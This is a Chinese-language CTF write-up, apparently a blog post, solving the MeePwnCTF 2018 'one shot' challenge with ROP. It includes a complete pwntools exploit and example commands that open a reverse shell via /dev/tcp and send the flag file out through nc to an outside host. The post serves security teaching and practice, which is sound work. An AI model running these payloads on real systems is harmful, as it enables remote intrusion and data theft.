CTF-PWNCTFctf

MeePwnCTF2018:one shot

2019-10-31  本文已影响0人  v1gor

ROP + 反弹shell

Meepwn CTF 2018 -- one shot分析

题目分析

主函数逻辑

main.png

可以看到主函数中主要做了三件事:

check逻辑

check.png

check检查你的输入的前4位是否是0x8a919ff0,因此我们后面写payload的时候需要先写这四个字节。

保护情况

checksec.png

仅仅开启了栈不可执行保护,可以ROP攻击。

难点

没有标准输出

就算我们能够通过某些骚操作让程序成功执行了shell命令,但是由于我们不能和程序交互,所以我们得不到命令执行的结果。

只有一次向程序输入的机会

因为程序关闭了stdin、stdout和stderr,这使得我们在第一次输入之后就和程序失去了联系,这将带来以下问题:

这也是这题为什么叫one shot的原因:)

解决方案

难点1 解决方案

难点1比较好解决,可以用shell命令反弹shell到自己的外网主机:

如命令/bin/bash -c \"bash -i >& /dev/tcp/1.1.1.1/9999 0>&1\"

也可以直接将flag发回自己的外网主机:

如命令/bin/bash -c \"cat /home/one_shot/flag|nc 1.1.1.1 9999\"

至于上面的flag的目录,可以通过经验猜测,也可以通过其他题目得到的shell中的文件命名规则来推理。

难点2解决方案

我们之前分析过,我们无法得到这个程序在远程机器上的任何动态加载的地址,这就意味着我们虽然能够控制程序的执行流,但是却不知道该控制它往哪里执行,因为想要执行一个系统命令,比较广泛使用的有以下技巧:

  1. 修改某个函数的got.plt使其指向system函数的libc地址,并通过ROP传入适当的参数,最后调用这个函数,就能通过system执行系统命令

  2. 通过ROP布置好eax,rdi,rsi,rdx的值,然后通过直接调用syscall来执行系统命令。

就目前的分析来看,我们无法做到上面的任何一点,但是通过深入分析程序,可以发现此题并非无解。

可以看到在0x400684~0x40069f这段代码,将rdi存储的地址中的值依次复制到rsi寄存器存储的地址中,复制的长度为eax中存储的值,并且这个函数一直到执行结束都没有对栈底的修改操作,因此这个函数执行完,我们还是可以继续ROP。那么我们通过ROP来控制rdi、rsi以及eax的值,就能够实现任意地址写。

0x601000~0x602000都是可读可写的,我们从中随意取一个地址来用即可。

alarm.png

​ 看到这个函数中就有syscall,接下来想办法使用这个syscall即可。

克服了上面的两个难点,接下来就是正常的ROP了,通过上面的分析,我们需要能够实现以下功能的gadget:

我使用的gatget都已经在exp的注释中标明。

需要注意的地方

调用syscall来执行execve时,需要往rdx寄存器中存储一个指向null的指针,否则不能正常执行。这里有个trick:通过跳转到puts的plt表来调用puts函数,可以达到上述效果。(经过跟踪流程发现,具体的清空rdx的操作并不是在puts函数中完成,而是在plt跳转后的dl_resolve过程中的dl_fixup函数中完成,又测试了另一个需要dlresolve解析的库函数exit,也能清空rdx =。=)

exp


from pwn import *

libc = ELF("./libc-2.24.so")

io = process("./one_shot",env={"LD_PRELOAD":"./libc-2.24.so"})

copy_function_addr = 0x400684

pop_rdi_ret = 0x400843

pop_rsi_r15_ret = 0x400841

alarm_got = 0x0601020

alarm_plt = 0x0400520

set_eax = 0x04006F7# mov eax, dword ptr [rbp - 0xc]; pop rbx; pop rbp; ret;

set_rbp = 0x4005c0 #pop rbp; ret;

writeable_addr =0x601600  # bss start

len_addr = 0x4002D0 #contains 0x1

random_writeable_addr = 0x601100 # junk addr for rbp

puts_plt = 0x400510

#writeable_addr contains command string "/bin/sh -c echo "hello world" | nc 127.0.0.1 1337"

#["/bin/sh","-c","echo 'hello world' | nc 127.0.0.1 1337"]

payload = p32(0x8A919FF0) + p32(0x3b)

payload += "/bin/sh\x00-c\x00echo 'hello world'|nc 127.0.0.1 1337\x00"

cmdLen = len(payload)

payload += p64(writeable_addr + 4)

payload+= p64(writeable_addr + 4 + 8)#point to -c

payload += p64(writeable_addr + 4 + 8 + 3)#point to echo....

payload = payload.ljust(0x88,"A")

payload += p64(set_rbp)

#now rdi is pointed to the stack buf addr,set rsi and eax

payload += p64(0x400220 + 0x0c)#0x0400368 contains 0x208

payload += p64(set_eax)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr)#rbp

payload += p64(pop_rsi_r15_ret)

payload += p64(writeable_addr)

payload += "junkjunk" #r15

#copy 0x208 bytes from stack buf to writeable address

payload += p64(copy_function_addr)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr)#rbp

#set rbp to the len address + 0x0c

payload += p64(set_rbp)

payload += p64(len_addr+0x0c)

#mov eax,dword ptr[rpb - 0x0c]

payload += p64(set_eax)

payload += "junkjunk"# rbx

payload += p64(random_writeable_addr)# rbp

#set rdi,rsi

payload += p64(pop_rdi_ret)

payload += p64(0x4009CB)#contains 0x45 

payload += p64(pop_rsi_r15_ret)

payload += p64(alarm_got)

payload += "junkjunk" # r15

# copy 0x45 to the last byte of alarm_got,pointing to syscall

# so we can use alarm as syscall

payload += p64(copy_function_addr)

payload += "junkjunk"#rbx

payload += p64(random_writeable_addr) # rbp

payload += p64(puts_plt)# to set rdx to null

#set eax to 0x3b (execve's syscall number)

payload += p64(set_rbp)

payload += p64(writeable_addr + 0x0c) #store 0x3b(dw)

payload += p64(set_eax)

payload += "junkjunk" #rbx

payload += p64(random_writeable_addr)#rbp

#set rdi and rsi to cat flag

payload += p64(pop_rsi_r15_ret)

payload += p64(writeable_addr + cmdLen - 4)

payload += "junkjunk"#r15

payload += p64(pop_rdi_ret)

payload += p64(writeable_addr + 4)# start of /bin/sh

payload += p64(alarm_plt) #syscall,get flag!

io.sendline(payload)

sleep(10)

心得体会

其他方法

上一篇 下一篇

猜你喜欢

热点阅读